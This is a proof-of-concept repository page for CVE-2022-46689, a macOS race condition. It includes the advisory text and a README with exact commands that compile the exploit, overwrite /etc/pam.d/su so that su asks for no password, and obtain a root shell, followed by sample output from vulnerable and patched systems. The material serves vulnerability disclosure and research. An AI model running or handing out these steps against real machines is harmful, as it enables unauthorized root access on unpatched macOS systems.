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CVE-2022-46689 PoC — Apple iOS 和 macOS 竞争条件问题漏洞

Source
Associated Vulnerability
Title:Apple iOS 和 macOS 竞争条件问题漏洞 (CVE-2022-46689)
Description:A race condition was addressed with additional validation. This issue is fixed in tvOS 16.2, macOS Monterey 12.6.2, macOS Ventura 13.1, macOS Big Sur 11.7.2, iOS 15.7.2 and iPadOS 15.7.2, iOS 16.2 and iPadOS 16.2, watchOS 9.2. An app may be able to execute arbitrary code with kernel privileges.
Description
Get root on macOS 13.0.1 with CVE-2022-46689 (macOS equivalent of the Dirty Cow bug), using the testcase extracted from Apple's XNU source.
Readme
Get root on macOS 13.0.1 with [CVE-2022-46689](https://support.apple.com/en-us/HT213532) (macOS equivalent of the Dirty Cow bug), using the testcase extracted from [Apple's XNU source](https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c).

https://worthdoingbadly.com/macdirtycow/

## Usage
On a macOS 13.0.1 / 12.6.1 (or below) machine, run:

```
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
```

You should get:

```
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2# 
```

Tested on macOS 13 beta (22A5266r) with SIP off (it should still work with SIP on).

If your system is fully patched (macOS 13.1 / 12.6.2), it should instead read:

```
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
```

and running `su` should still ask for a password.

Thanks to Sealed System Volume, running this on any file on the /System volume only modifies the file temporarily: It's reverted on reboot. Running it on a file on a writeable volume will preserve the modification after a reboot.

## Credits

- Ian Beer of Project Zero for finding the issue. Looking forward to your writeup!
- Apple for the test case. (I didn't change anything: I just added the command line parameter to control what to overwrite.)
- [SSLab@Gatech](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf) for the trick to disable password checking using `/etc/pam.d`.
File Snapshot

[4.0K] /data/pocs/685c7a7aafd637f641f1f379cbc882a5cacf3561 ├── [1.7K] README.md └── [ 11K] vm_unaligned_copy_switch_race.c 0 directories, 2 files
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